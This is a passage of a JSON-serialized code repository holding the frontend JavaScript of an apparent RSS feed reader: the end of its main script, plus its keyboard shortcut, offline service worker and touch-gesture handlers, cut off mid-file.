        });\n        };\n    });\n}\n\n/**\n * Show the keyboard shortcuts modal.\n */\nfunction showKeyboardShortcutsAction() {\n    document.getElementById(\"keyboard-shortcuts-modal\").showModal();\n}\n\n/**\n * Mark all visible entries on the current page as read.\n */\nfunction markPageAsReadAction() {\n    const items = getVisibleEntries();\n    if (items.length === 0) return;\n\n    const entryIDs = items.map((element) => {\n        element.classList.add(\"item-status-read\");\n        return parseInt(element.dataset.id, 10);\n    });\n\n    updateEntriesStatus(entryIDs, \"read\", () => {\n        const element = document.querySelector(\":is(a, button)[data-action=markPageAsRead]\");\n        const showOnlyUnread = element?.dataset.showOnlyUnread || false;\n\n        if (showOnlyUnread) {\n            window.location.reload();\n        } else {\n            goToPage(\"next\", true);\n        }\n    });\n}\n\n/**\n * Handle entry status changes from the list view and entry view.\n * Focus the next or the previous entry if it exists.\n *\n * @param {string} navigationDirection Navigation direction: \"previous\" or \"next\".\n * @param {Element} element Element that triggered the action.\n * @param {boolean} setToRead If true, set the entry to read instead of toggling the status.\n * @returns {void}\n */\nfunction handleEntryStatus(navigationDirection, element, setToRead) {\n    const currentEntry = findEntry(element);\n\n    if (currentEntry) {\n        if (!setToRead || currentEntry.querySelector(\":is(a, button)[data-toggle-status]\").dataset.value === \"unread\") {\n            toggleEntryStatus(currentEntry, isEntryView());\n        }\n        if (isListView() && currentEntry.classList.contains('current-item')) {\n            switch (navigationDirection) {\n            case \"previous\":\n                goToListItem(-1);\n                break;\n            case \"next\":\n                goToListItem(1);\n                break;\n            }\n        }\n    }\n}\n\n/**\n * Toggle the entry status between \"read\" and \"unread\".\n *\n * @param {Element} element The entry element to toggle the status for.\n * @param {boolean} toasting If true, show a toast notification after toggling the status.\n */\nfunction toggleEntryStatus(element, toasting) {\n    const entryID = parseInt(element.dataset.id, 10);\n    const buttonElement = element.querySelector(\":is(a, button)[data-toggle-status]\");\n    if (!buttonElement) return;\n\n    const currentStatus = buttonElement.dataset.value;\n    const newStatus = currentStatus === \"read\" ? \"unread\" : \"read\";\n\n    setButtonToLoadingState(buttonElement);\n\n    updateEntriesStatus([entryID], newStatus, () => {\n        setReadStatusButtonState(buttonElement, newStatus);\n\n        if (toasting) {\n            showToastNotification(newStatus, currentStatus === \"read\" ? buttonElement.dataset.toastUnread : buttonElement.dataset.toastRead);\n        }\n\n        element.classList.replace(`item-status-${currentStatus}`, `item-status-${newStatus}`);\n\n        if (isListView() && getVisibleEntries().length === 0) {\n            window.location.reload();\n        }\n    });\n}\n\n/**\n * Handle the refresh of all feeds.\n *\n * This function redirects the user to the URL specified in the data-refresh-all-feeds-url attribute of the body element.\n */\nfunction handleRefreshAllFeedsAction() {\n    const refreshAllFeedsUrl = document.body.dataset.refreshAllFeedsUrl;\n    if (refreshAllFeedsUrl) {\n        window.location.href = refreshAllFeedsUrl;\n    }\n}\n\n/**\n * Update the status of multiple entries.\n *\n * @param {Array<number>} entryIDs - The IDs of the entries to update.\n * @param {string} status - The new status to set for the entries (e.g., \"read\", \"unread\").\n */\nfunction updateEntriesStatus(entryIDs, status, callback) {\n    const url = document.body.dataset.entriesStatusUrl;\n    sendPOSTRequest(url, { entry_ids: entryIDs, status: status }).then((resp) => {\n        resp.json().then(count => {\n            if (callback) {\n                callback(resp);\n            }\n            updateUnreadCounterValue(status === \"read\" ? -count : count);\n        });\n    });\n}\n\n/**\n * Handle save entry from list view and entry view.\n *\n * @param {Element|null} element - The element that triggered the save action (optional).\n */\nfunction handleSaveEntryAction(element = null) {\n    const currentEntry = findEntry(element);\n    if (!currentEntry) return;\n\n    const buttonElement = currentEntry.querySelector(\":is(a, button)[data-save-entry]\");\n    if (!buttonElement || buttonElement.dataset.completed) return;\n\n    setButtonToLoadingState(buttonElement);\n\n    sendPOSTRequest(buttonElement.dataset.saveUrl).then(() => {\n        setButtonToSavedState(buttonElement);\n        if (isEntryView()) {\n            showToastNotification(\"save\", buttonElement.dataset.toastDone);\n        }\n    });\n}\n\n/**\n * Handle starring an entry.\n *\n * @param {Element} element - The element that triggered the star action.\n */\nfunction handleStarAction(element) {\n    const currentEntry = findEntry(element);\n    if (!currentEntry) return;\n\n    const buttonElement = currentEntry.querySelector(\":is(a, button)[data-toggle-starred]\");\n    if (!buttonElement) return;\n\n    setButtonToLoadingState(buttonElement);\n\n    sendPOSTRequest(buttonElement.dataset.starUrl).then(() => {\n        const currentState = buttonElement.dataset.value;\n        const isStarred = currentState === \"star\";\n        const newStarStatus = isStarred ? \"unstar\" : \"star\";\n\n        setStarredButtonState(buttonElement, newStarStatus);\n\n        if (isEntryView()) {\n            showToastNotification(currentState, buttonElement.dataset[isStarred ? \"toastUnstar\" : \"toastStar\"]);\n        }\n    });\n}\n\n/**\n * Handle fetching the original content of an entry.\n *\n * @returns {void}\n */\nfunction handleFetchOriginalContentAction() {\n    if (isListView()) return;\n\n    const buttonElement = document.querySelector(\":is(a, button)[data-fetch-content-entry]\");\n    if (!buttonElement) return;\n\n    const originalButtonElement = setButtonToLoadingState(buttonElement);\n\n    sendPOSTRequest(buttonElement.dataset.fetchContentUrl).then((response) => {\n        restoreButtonState(buttonElement, originalButtonElement);\n\n        response.json().then((data) => {\n            if (data.content && data.reading_time) {\n                const ttpolicy = trustedTypes.createPolicy('html', {createHTML: html => html});\n                document.querySelector(\".entry-content\").innerHTML = ttpolicy.createHTML(data.content);\n                const entryReadingtimeElement = document.querySelector(\".entry-reading-time\");\n                if (entryReadingtimeElement) {\n                    entryReadingtimeElement.textContent = data.reading_time;\n                }\n            }\n        });\n    });\n}\n\n/**\n * Open the original link of an entry.\n *\n * @param {boolean} openLinkInCurrentTab - Whether to open the link in the current tab.\n * @returns {void}\n */\nfunction openOriginalLinkAction(openLinkInCurrentTab) {\n    if (isEntryView()) {\n        openOriginalLinkFromEntryView(openLinkInCurrentTab);\n    } else if (isListView()) {\n        openOriginalLinkFromListView();\n    }\n}\n\n/**\n * Open the original link from entry view.\n *\n * @param {boolean} openLinkInCurrentTab - Whether to open the link in the current tab.\n * @returns {void}\n */\nfunction openOriginalLinkFromEntryView(openLinkInCurrentTab) {\n    const entryLink = document.querySelector(\".entry h1 a\");\n    if (!entryLink) return;\n\n    const url = entryLink.getAttribute(\"href\");\n    if (openLinkInCurrentTab) {\n        window.location.href = url;\n    } else {\n        openNewTab(url);\n    }\n}\n\n/**\n * Open the original link from list view.\n *\n * @returns {void}\n */\nfunction openOriginalLinkFromListView() {\n    const currentItem = document.querySelector(\".current-item\");\n    const originalLink = currentItem?.querySelector(\":is(a, button)[data-original-link]\");\n\n    if (!currentItem || !originalLink) return;\n\n    // Open the link\n    openNewTab(originalLink.getAttribute(\"href\"));\n\n    // Don't navigate or mark as read on starred page\n    const isStarredPage = document.location.href === document.querySelector(':is(a, button)[data-page=starred]').href;\n    if (isStarredPage) return;\n\n    // Navigate to next item\n    goToListItem(1);\n\n    // Mark as read if currently unread\n    if (currentItem.classList.replace(\"item-status-unread\", \"item-status-read\")) {\n        const entryID = parseInt(currentItem.dataset.id, 10);\n        updateEntriesStatus([entryID], \"read\");\n    }\n}\n\n/**\n * Open the comments link of an entry.\n *\n * @param {boolean} openLinkInCurrentTab - Whether to open the link in the current tab.\n * @returns {void}\n */\nfunction openCommentLinkAction(openLinkInCurrentTab) {\n    const entryLink = document.querySelector(isListView() ? \".current-item :is(a, button)[data-comments-link]\" : \":is(a, button)[data-comments-link]\");\n\n    if (entryLink) {\n        if (openLinkInCurrentTab) {\n            window.location.href = entryLink.getAttribute(\"href\");\n        } else {\n            openNewTab(entryLink.getAttribute(\"href\"));\n        }\n    }\n}\n\n/**\n * Open the selected item in the current view.\n *\n * If the current view is a list view, it will navigate to the link of the currently selected item.\n * If the current view is an entry view, it will navigate to the link of the entry.\n */\nfunction openSelectedItemAction() {\n    const currentItemLink = document.querySelector(\".current-item .item-title a\");\n    if (currentItemLink) {\n        window.location.href = currentItemLink.getAttribute(\"href\");\n    }\n}\n\n/**\n * Unsubscribe from the feed of the currently selected item.\n */\nfunction handleRemoveFeedAction() {\n    const unsubscribeLink = document.querySelector(\"[data-action=remove-feed]\");\n    if (unsubscribeLink) {\n        sendPOSTRequest(unsubscribeLink.dataset.url).then(() => {\n            window.location.href = unsubscribeLink.dataset.redirectUrl || window.location.href;\n        });\n    }\n}\n\n/**\n * Scroll the page to the currently selected item.\n */\nfunction scrollToCurrentItemAction() {\n    const currentItem = document.querySelector(\".current-item\");\n    if (currentItem) {\n        scrollPageTo(currentItem, true);\n    }\n}\n\n/**\n * Update the unread counter value.\n *\n * @param {number} delta - The amount to change the counter by.\n */\nfunction updateUnreadCounterValue(delta) {\n    document.querySelectorAll(\"span.unread-counter\").forEach((element) => {\n        const oldValue = parseInt(element.textContent, 10);\n        element.textContent = oldValue + delta;\n    });\n\n    if (window.location.href.endsWith('/unread')) {\n        const oldValue = parseInt(document.title.split('(')[1], 10);\n        const newValue = oldValue + delta;\n        document.title = document.title.replace(/\\(\\d+\\)/, `(${newValue})`);\n    }\n}\n\n/**\n * Handle confirmation messages for actions that require user confirmation.\n *\n * This function modifies the link element to show a confirmation question with \"Yes\" and \"No\" buttons.\n * If the user clicks \"Yes\", it calls the provided callback with the URL and redirect URL.\n * If the user clicks \"No\", it either redirects to a no-action URL or restores the link element.\n *\n * @param {Element} linkElement - The link or button element that triggered the confirmation.\n * @param {function} callback - The callback function to execute if the user confirms the action.\n * @returns {void}\n */\nfunction handleConfirmationMessage(linkElement, callback) {\n    if (linkElement.tagName !== 'A' && linkElement.tagName !== \"BUTTON\") {\n        linkElement = linkElement.parentNode;\n    }\n\n    linkElement.style.display = \"none\";\n\n    const containerElement = linkElement.parentNode;\n    const questionElement = document.createElement(\"span\");\n\n    function createLoadingElement() {\n        const loadingElement = document.createElement(\"span\");\n        loadingElement.className = \"loading\";\n        loadingElement.appendChild(document.createTextNode(linkElement.dataset.labelLoading));\n\n        questionElement.remove();\n        containerElement.appendChild(loadingElement);\n    }\n\n    const yesElement = document.createElement(\"button\");\n    yesElement.appendChild(document.createTextNode(linkElement.dataset.labelYes));\n    yesElement.onclick = (event) => {\n        event.preventDefault();\n\n        createLoadingElement();\n\n        callback(linkElement.dataset.url, linkElement.dataset.redirectUrl);\n    };\n\n    const noElement = document.createElement(\"button\");\n    noElement.appendChild(document.createTextNode(linkElement.dataset.labelNo));\n    noElement.onclick = (event) => {\n        event.preventDefault();\n\n        const noActionUrl = linkElement.dataset.noActionUrl;\n        if (noActionUrl) {\n            createLoadingElement();\n\n            callback(noActionUrl, linkElement.dataset.redirectUrl);\n        } else {\n            linkElement.style.display = \"inline\";\n            questionElement.remove();\n        }\n    };\n\n    questionElement.className = \"confirm\";\n    questionElement.appendChild(document.createTextNode(`${linkElement.dataset.labelQuestion} `));\n    questionElement.appendChild(yesElement);\n    questionElement.appendChild(document.createTextNode(\", \"));\n    questionElement.appendChild(noElement);\n\n    containerElement.appendChild(questionElement);\n}\n\n/**\n * Check if the player is actually playing a media\n *\n * @param mediaElement the player element itself\n * @returns {boolean}\n */\nfunction isPlayerPlaying(mediaElement) {\n    return mediaElement &&\n        mediaElement.currentTime > 0 &&\n        !mediaElement.paused &&\n        !mediaElement.ended &&\n        mediaElement.readyState > 2; // https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement/readyState\n}\n\n/**\n * Handle player progression save and mark as read on completion.\n *\n * This function is triggered on the `timeupdate` event of the media player.\n * It saves the current playback position and marks the entry as read if the completion percentage is reached.\n *\n * @param {Element} playerElement The media player element (audio or video).\n */\nfunction handlePlayerProgressionSaveAndMarkAsReadOnCompletion(playerElement) {\n    if (!isPlayerPlaying(playerElement)) {\n        return;\n    }\n\n    const currentPositionInSeconds = Math.floor(playerElement.currentTime);\n    const lastKnownPositionInSeconds = parseInt(playerElement.dataset.lastPosition, 10);\n    const markAsReadOnCompletion = parseFloat(playerElement.dataset.markReadOnCompletion);\n    const recordInterval = 10;\n\n    // We limit the number of update to only one by interval. Otherwise, we would have multiple update per seconds\n    if (currentPositionInSeconds >= (lastKnownPositionInSeconds + recordInterval) ||\n        currentPositionInSeconds <= (lastKnownPositionInSeconds - recordInterval)\n    ) {\n        playerElement.dataset.lastPosition = currentPositionInSeconds.toString();\n\n        sendPOSTRequest(playerElement.dataset.saveUrl, { progression: currentPositionInSeconds });\n\n        // Handle the mark as read on completion\n        if (markAsReadOnCompletion >= 0 && playerElement.duration > 0) {\n            const completion =  currentPositionInSeconds / playerElement.duration;\n            if (completion >= markAsReadOnCompletion) {\n                handleEntryStatus(\"none\", document.querySelector(\":is(a, button)[data-toggle-status]\"), true);\n            }\n        }\n    }\n}\n\n/**\n * Handle media control actions like seeking and changing playback speed.\n *\n * This function is triggered by clicking on media control buttons.\n * It adjusts the playback position or speed of media elements with the same enclosure ID.\n *\n * @param {Element} mediaPlayerButtonElement\n */\nfunction handleMediaControlButtonClick(mediaPlayerButtonElement) {\n    const actionType = mediaPlayerButtonElement.dataset.enclosureAction;\n    const actionValue = parseFloat(mediaPlayerButtonElement.dataset.actionValue);\n    const enclosureID = mediaPlayerButtonElement.dataset.enclosureId;\n    const mediaElements = document.querySelectorAll(`audio[data-enclosure-id=\"${enclosureID}\"],video[data-enclosure-id=\"${enclosureID}\"]`);\n    const speedIndicatorElements = document.querySelectorAll(`span.speed-indicator[data-enclosure-id=\"${enclosureID}\"]`);\n    mediaElements.forEach((mediaElement) => {\n        switch (actionType) {\n        case \"seek\":\n            mediaElement.currentTime = Math.max(mediaElement.currentTime + actionValue, 0);\n            break;\n        case \"speed\":\n            // 0.25 was chosen because it will allow to get back to 1x in two \"faster\" clicks.\n            // A lower value would result in a playback rate of 0, effectively pausing playback.\n            mediaElement.playbackRate = Math.max(0.25, mediaElement.playbackRate + actionValue);\n            speedIndicatorElements.forEach((speedIndicatorElement) => {\n                speedIndicatorElement.innerText = `${mediaElement.playbackRate.toFixed(2)}x`;\n            });\n            break;\n        case \"speed-reset\":\n            mediaElement.playbackRate = actionValue ;\n            speedIndicatorElements.forEach((speedIndicatorElement) => {\n                // Two digit precision to ensure we always have the same number of characters (4) to avoid controls moving when clicking buttons because of more or less characters.\n                // The trick only works on rates less than 10, but it feels an acceptable trade-off considering the feature\n                speedIndicatorElement.innerText = `${mediaElement.playbackRate.toFixed(2)}x`;\n            });\n            break;\n        }\n    });\n}\n\n/**\n * Initialize media player event handlers.\n */\nfunction initializeMediaPlayerHandlers() {\n    document.querySelectorAll(\"button[data-enclosure-action]\").forEach((element) => {\n        element.addEventListener(\"click\", () => handleMediaControlButtonClick(element));\n    });\n\n    // Set playback from the last position if available\n    document.querySelectorAll(\"audio[data-last-position],video[data-last-position]\").forEach((element) => {\n        if (element.dataset.lastPosition) {\n            element.currentTime = element.dataset.lastPosition;\n        }\n        element.ontimeupdate = () => handlePlayerProgressionSaveAndMarkAsReadOnCompletion(element);\n    });\n\n    // Set playback speed from the data attribute if available\n    document.querySelectorAll(\"audio[data-playback-rate],video[data-playback-rate]\").forEach((element) => {\n        if (element.dataset.playbackRate) {\n            element.playbackRate = element.dataset.playbackRate;\n            if (element.dataset.enclosureId) {\n                document.querySelectorAll(`span.speed-indicator[data-enclosure-id=\"${element.dataset.enclosureId}\"]`).forEach((speedIndicatorElement) => {\n                    speedIndicatorElement.innerText = `${parseFloat(element.dataset.playbackRate).toFixed(2)}x`;\n                });\n            }\n        }\n    });\n}\n\n/**\n * Initialize the service worker and PWA installation prompt.\n */\nfunction initializeServiceWorker() {\n    // Register service worker if supported\n    if (\"serviceWorker\" in navigator) {\n        const serviceWorkerURL = document.body.dataset.serviceWorkerUrl;\n        if (serviceWorkerURL) {\n            const ttpolicy = trustedTypes.createPolicy('url', {createScriptURL: src => src});\n            navigator.serviceWorker.register(ttpolicy.createScriptURL(serviceWorkerURL), {\n                type: \"module\"\n            }).catch((error) => {\n                console.error(\"Service Worker registration failed:\", error);\n            });\n        }\n    }\n\n    // PWA installation prompt handling\n    window.addEventListener(\"beforeinstallprompt\", (event) => {\n        let deferredPrompt = event;\n        const promptHomeScreen = document.getElementById(\"prompt-home-screen\");\n        const btnAddToHomeScreen = document.getElementById(\"btn-add-to-home-screen\");\n\n        if (!promptHomeScreen || !btnAddToHomeScreen) return;\n\n        promptHomeScreen.style.display = \"block\";\n\n        btnAddToHomeScreen.addEventListener(\"click\", (event) => {\n            event.preventDefault();\n            deferredPrompt.prompt();\n            deferredPrompt.userChoice.then(() => {\n                deferredPrompt = null;\n                promptHomeScreen.style.display = \"none\";\n            });\n        });\n    });\n}\n\n/**\n * Initialize WebAuthn handlers if supported.\n */\nfunction initializeWebAuthn() {\n    if (typeof WebAuthnHandler !== 'function') return;\n    if (!WebAuthnHandler.isWebAuthnSupported()) return;\n\n    const webauthnHandler = new WebAuthnHandler();\n\n    // Setup delete credentials handler\n    onClick(\"#webauthn-delete\", () => { webauthnHandler.removeAllCredentials(); });\n\n    // Setup registration\n    const registerButton = document.getElementById(\"webauthn-register\");\n    if (registerButton) {\n        registerButton.disabled = false;\n        onClick(\"#webauthn-register\", () => {\n            webauthnHandler.register().catch((err) => WebAuthnHandler.showErrorMessage(err));\n        });\n    }\n\n    // Setup login\n    const loginButton = document.getElementById(\"webauthn-login\");\n    const usernameField = document.getElementById(\"form-username\");\n\n    if (loginButton && usernameField) {\n        const abortController = new AbortController();\n        loginButton.disabled = false;\n\n        onClick(\"#webauthn-login\", () => {\n            abortController.abort();\n            webauthnHandler.login(usernameField.value).catch(err => WebAuthnHandler.showErrorMessage(err));\n        });\n\n        webauthnHandler.conditionalLogin(abortController).catch(err => WebAuthnHandler.showErrorMessage(err));\n    }\n}\n\n/**\n * Initialize keyboard shortcuts for navigation and actions.\n */\nfunction initializeKeyboardShortcuts() {\n    if (document.querySelector(\"body[data-disable-keyboard-shortcuts=true]\")) return;\n\n    const keyboardHandler = new KeyboardHandler();\n\n    // Navigation shortcuts\n    keyboardHandler.on(\"g u\", () => goToPage(\"unread\"));\n    keyboardHandler.on(\"g b\", () => goToPage(\"starred\"));\n    keyboardHandler.on(\"g h\", () => goToPage(\"history\"));\n    keyboardHandler.on(\"g f\", goToFeedOrFeedsPage);\n    keyboardHandler.on(\"g c\", () => goToPage(\"categories\"));\n    keyboardHandler.on(\"g s\", () => goToPage(\"settings\"));\n    keyboardHandler.on(\"g g\", () => goToPreviousPage(TOP));\n    keyboardHandler.on(\"G\", () => goToNextPage(BOTTOM));\n    keyboardHandler.on(\"/\", () => goToPage(\"search\"));\n\n    // Item navigation\n    keyboardHandler.on(\"ArrowLeft\", goToPreviousPage);\n    keyboardHandler.on(\"ArrowRight\", goToNextPage);\n    keyboardHandler.on(\"k\", goToPreviousPage);\n    keyboardHandler.on(\"p\", goToPreviousPage);\n    keyboardHandler.on(\"j\", goToNextPage);\n    keyboardHandler.on(\"n\", goToNextPage);\n    keyboardHandler.on(\"h\", () => goToPage(\"previous\"));\n    keyboardHandler.on(\"l\", () => goToPage(\"next\"));\n    keyboardHandler.on(\"z t\", scrollToCurrentItemAction);\n\n    // Item actions\n    keyboardHandler.on(\"o\", openSelectedItemAction);\n    keyboardHandler.on(\"Enter\", () => openSelectedItemAction());\n    keyboardHandler.on(\"v\", () => openOriginalLinkAction(false));\n    keyboardHandler.on(\"V\", () => openOriginalLinkAction(true));\n    keyboardHandler.on(\"c\", () => openCommentLinkAction(false));\n    keyboardHandler.on(\"C\", () => openCommentLinkAction(true));\n\n    // Entry management\n    keyboardHandler.on(\"m\", () => handleEntryStatus(\"next\"));\n    keyboardHandler.on(\"M\", () => handleEntryStatus(\"previous\"));\n    keyboardHandler.on(\"A\", markPageAsReadAction);\n    keyboardHandler.on(\"s\", () => handleSaveEntryAction());\n    keyboardHandler.on(\"d\", handleFetchOriginalContentAction);\n    keyboardHandler.on(\"f\", () => handleStarAction());\n\n    // Feed actions\n    keyboardHandler.on(\"F\", goToFeedPage);\n    keyboardHandler.on(\"R\", handleRefreshAllFeedsAction);\n    keyboardHandler.on(\"+\", goToAddSubscriptionPage);\n    keyboardHandler.on(\"#\", handleRemoveFeedAction);\n\n    // UI actions\n    keyboardHandler.on(\"?\", showKeyboardShortcutsAction);\n    keyboardHandler.on(\"a\", () => {\n        const enclosureElement = document.querySelector('.entry-enclosures');\n        if (enclosureElement) {\n            enclosureElement.toggleAttribute('open');\n        }\n    });\n\n    keyboardHandler.listen();\n}\n\n/**\n * Initialize touch handler for mobile devices.\n */\nfunction initializeTouchHandler() {\n    if ( \"ontouchstart\" in window || navigator.maxTouchPoints > 0) {\n        const touchHandler = new TouchHandler();\n        touchHandler.listen();\n    }\n}\n\n/**\n * Initialize click handlers for various UI elements.\n */\nfunction initializeClickHandlers() {\n    // Entry actions\n    onClick(\":is(a, button)[data-save-entry]\", (event) => handleSaveEntryAction(event.target));\n    onClick(\":is(a, button)[data-toggle-starred]\", (event) => handleStarAction(event.target));\n    onClick(\":is(a, button)[data-toggle-status]\", (event) => handleEntryStatus(\"next\", event.target));\n    onClick(\":is(a, button)[data-fetch-content-entry]\", handleFetchOriginalContentAction);\n    onClick(\":is(a, button)[data-share-status]\", handleEntryShareAction);\n\n    // Page actions with confirmation\n    onClick(\":is(a, button)[data-action=markPageAsRead]\", (event) => handleConfirmationMessage(event.target, markPageAsReadAction));\n\n    // Generic confirmation handler\n    onClick(\":is(a, button)[data-confirm]\", (event) => {\n        handleConfirmationMessage(event.target, (url, redirectURL) => {\n            sendPOSTRequest(url).then((response) => {\n                if (redirectURL) {\n                    window.location.href = redirectURL;\n                } else if (response?.redirected && response.url) {\n                    window.location.href = response.url;\n                } else {\n                    window.location.reload();\n                }\n            });\n        });\n    });\n\n    // Original link handlers (both click and middle-click)\n    const handleOriginalLink = (event) => handleEntryStatus(\"next\", event.target, true);\n\n    onClick(\"a[data-original-link='true']\", handleOriginalLink, true);\n    onAuxClick(\"a[data-original-link='true']\", (event) => {\n        if (event.button === 1) {\n            handleOriginalLink(event);\n        }\n    }, true);\n}\n\n// Initialize application handlers\ninitializeMainMenuHandlers();\ninitializeFormHandlers();\ninitializeMediaPlayerHandlers();\ninitializeWebAuthn();\ninitializeKeyboardShortcuts();\ninitializeTouchHandler();\ninitializeClickHandlers();\ninitializeServiceWorker();\n\n// Reload the page if it was restored from the back-forward cache and mark entries as read is enabled.\nwindow.addEventListener(\"pageshow\", (event) => {\n    if (event.persisted && document.body.dataset.markAsReadOnView === \"true\") {\n        location.reload();\n    }\n});\n"
  },
  {
    "path": "internal/ui/static/js/keyboard_handler.js",
    "content": "class KeyboardHandler {\n    constructor() {\n        this.queue = [];\n        this.shortcuts = new Map();\n        this.triggers = new Set();\n    }\n\n    on(combination, callback) {\n        this.shortcuts.set(combination, callback);\n        this.triggers.add(combination.split(\" \")[0]);\n    }\n\n    listen() {\n        document.onkeydown = (event) => {\n            const key = KeyboardHandler.getKey(event);\n            if (this.isEventIgnored(event, key) || KeyboardHandler.isModifierKeyDown(event)) {\n                return;\n            }\n\n            if (key !== \"Enter\") {\n                event.preventDefault();\n            }\n\n            this.queue.push(key);\n\n            for (const [combination, callback] of this.shortcuts.entries()) {\n                const keys = combination.split(\" \");\n\n                if (keys.every((value, index) => value === this.queue[index])) {\n                    this.queue = [];\n                    callback(event);\n                    return;\n                }\n\n                if (keys.length === 1 && key === keys[0]) {\n                    this.queue = [];\n                    callback(event);\n                    return;\n                }\n            }\n\n            if (this.queue.length >= 2) {\n                this.queue = [];\n            }\n        };\n    }\n\n    isEventIgnored(event, key) {\n        return event.target.tagName === \"INPUT\" ||\n            event.target.tagName === \"TEXTAREA\" ||\n            (this.queue.length < 1 && !this.triggers.has(key));\n    }\n\n    static isModifierKeyDown(event) {\n        return event.getModifierState(\"Control\") || event.getModifierState(\"Alt\") || event.getModifierState(\"Meta\");\n    }\n\n    static getKey(event) {\n        switch (event.key) {\n        case 'Esc': return 'Escape';\n        case 'Up': return 'ArrowUp';\n        case 'Down': return 'ArrowDown';\n        case 'Left': return 'ArrowLeft';\n        case 'Right': return 'ArrowRight';\n        default: return event.key;\n        }\n    }\n}\n"
  },
  {
    "path": "internal/ui/static/js/service_worker.js",
    "content": "\n// Incrementing OFFLINE_VERSION will kick off the install event and force\n// previously cached resources to be updated from the network.\nconst OFFLINE_VERSION = 1;\nconst CACHE_NAME = \"offline\";\n\nself.addEventListener(\"install\", (event) => {\n    event.waitUntil(\n        (async () => {\n            const cache = await caches.open(CACHE_NAME);\n\n            // Setting {cache: 'reload'} in the new request will ensure that the\n            // response isn't fulfilled from the HTTP cache; i.e., it will be from\n            // the network.\n            await cache.add(new Request(OFFLINE_URL, { cache: \"reload\" }));\n        })()\n    );\n\n    // Force the waiting service worker to become the active service worker.\n    self.skipWaiting();\n});\n\nself.addEventListener(\"fetch\", (event) => {\n    // We proxify requests through fetch() only if we are offline because it's slower.\n    if (navigator.onLine === false && event.request.mode === \"navigate\") {\n        event.respondWith(\n            (async () => {\n                try {\n                    // Always try the network first.\n                    const networkResponse = await fetch(event.request);\n                    return networkResponse;\n                } catch (error) {\n                    // catch is only triggered if an exception is thrown, which is likely\n                    // due to a network error.\n                    // If fetch() returns a valid HTTP response with a response code in\n                    // the 4xx or 5xx range, the catch() will NOT be called.\n                    const cache = await caches.open(CACHE_NAME);\n                    const cachedResponse = await cache.match(OFFLINE_URL);\n                    return cachedResponse;\n                }\n            })()\n        );\n    }\n});\n"
  },
  {
    "path": "internal/ui/static/js/touch_handler.js",
    "content": "class TouchHandler {\n    constructor() {\n        this.reset();\n    }\n\n    reset() {\n        this.touch = {\n            start: { x: -1, y: -1 },\n            move: { x: -1, y: -1 },\n            moved: false,\n            time: 0,\n            element: null\n        };\n    }\n\n    calculateDistance() {\n        if (this.touch.start.x >= -1 && this.touch.move.x >= -1) {\n            const horizontalDistance = Math.abs(this.touch.move.x - this.touch.start.x);\n            const verticalDistance = Math.abs(this.touch.move.y - this.touch.start.y);\n\n            if (horizontalDistance > 30 && verticalDistance < 70 || this.touch.moved) {\n                return this.touch.move.x - this.touch.start.x;\n            }\n        }\n\n        return 0;\n    }\n\n    static findElement(element) {\n        if (element.classList.contains(\"entry-swipe\")) {\n            return element;\n        }\n\n        return element.closest(\".entry-swipe\");\n    }\n\n    onItemTouchStart(event) {\n        if (event.touches === undefined || event.touches.length !== 1) {\n            return;\n        }\n\n        this.reset();\n        this.touch.start.x = event.touches[0].clientX;\n        this.touch.start.y = event.touches[0].clientY;\n        this.touch.element = TouchHandler.findElement(event.touches[0].target);\n        this.touch.element.style.transitionDuration = \"0s\";\n    }\n\n    onItemTouchMove(event) {\n        if (event.touches === undefined || event.touches.length !== 1 || this.touch.element === null) {\n            return;\n        }\n\n        this.touch.move.x = event.touches[0].clientX;\n        this.touch.move.y = event.touches[0].clientY;\n\n        const distance = this.calculateDistance();\n        const absDistance = Math.abs(distance);\n\n        if (absDistance > 0) {\n            this.touch.moved = true;\n\n            const tx = (absDistance > 75 ? Math.sqrt(absDistance - 75) + 75 : absDistance) * Math.sign(distance);\n\n            this.touch.element.style.transform = `translateX(${tx}px)`;\n\n            event.preventDefault();\n        }\n    }\n\n    onItemTouchEnd(event) {\n        if (event.touches === undefined) {\n            return;\n        }\n\n        if (this.touch.element !== null) {\n            if (Math.abs(this.calculateDistance()) > 75) {\n                toggleEntryStatus(this.touch.element);\n            }\n\n            if (this.touch.moved) {\n                this.touch.element.style.transitionDuration = \"0.15s\";\n                this.touch.element.style.transform = \"none\";\n            }\n        }\n\n        this.reset();\n    }\n\n    onContentTouchStart(event) {\n        if (event.touches === undefined || event.touches.length !== 1) {\n            return;\n        }\n\n        this.reset();\n        this.touch.start.x = event.touches[0].clientX;\n        this.touch.start.y = event.touches[0].clientY;\n        this.touch.time = Date.now();\n    }\n\n    onContentTouchMove(event) {\n        if (event.touches === undefined || event.touches.length !== 1 || this.element === null) {\n            return;\n        }\n\n        this.touch.move.x = event.touches[0].clientX;\n        this.touch.move.y = event.touches[0].clientY;\n    }\n\n    onContentTouchEnd(event) {\n        if (event.touches === undefined) {\n            return;\n        }\n\n        if (Date.now() - this.touch.time <= 1000) {\n            const distance = this.calculateDistance();\n            const absDistance = Math.abs(distance);\n            if (absDistance > 75) {\n                if (distance > 0) {\n                    goToPage(\"previous\");\n                } else {\n                    goToPage(\"next\");\n                }\n            }\n        }\n\n        this.reset();\n    }\n\n    onTapEnd(event) {\n        if (event.touches === undefined) {\n            return;\n        }\n\n        const now = Date.now();\n\n        if (this.touch.start.x !== -1 && now - this.touch.time <= 200) {\n            const innerWidthHalf = window.innerWidth / 2;\n\n            if (this.touch.start.x >= innerWidthHalf && event.changedTouches[0].clientX >= innerWidthHalf) {\n                goToPage(\"next\");\n            } else if (this.touch.start.x < innerWidthHalf && event.changedTouches[0].clientX < innerWidthHalf) {\n                goToPage(\"previous\");\n            }\n\n            this.reset();\n        } else {\n            this.reset();\n            this.touch.start.x = event.changedTouches[0].clientX;\n            this.touch.time = now;\n        }\n    }\n\n    listen() {\n        const eventListenerOptions = { passive: true };\n\n        document.querySelectorAll(\".entry-swipe\").forEach((element) => {\n            element.addEventListener(\"touchstart\", (e) => this.onItemTouchStart(e), eventListenerOptions);\n            element.addEventListener(\"touchmove\", (e) => this.onItemTouchMove(e));\n            element.addEventListener(\"touchend\", (e) => this.onItemTouchEnd(e), eventListenerOptions);\n            // Use arrow to keep TouchHandler context; otherwise this would become the DOM element on cancel.\n            element.addEventListener(\"touchcancel\", () => this.reset(), eventListenerOptions);\n        });\n\n        const element = document.querySelector(\".entry-content\");\n        if (element) {\n            if (element.classList.contains(\"gesture-nav-tap\")) {\n                element.addEventListener(\"touchend\", (e) => this.onTapEnd(e), eventListenerOptions);\n                // Use arrow to keep TouchHandler context; otherwise this would become the DOM element on cancel.\n                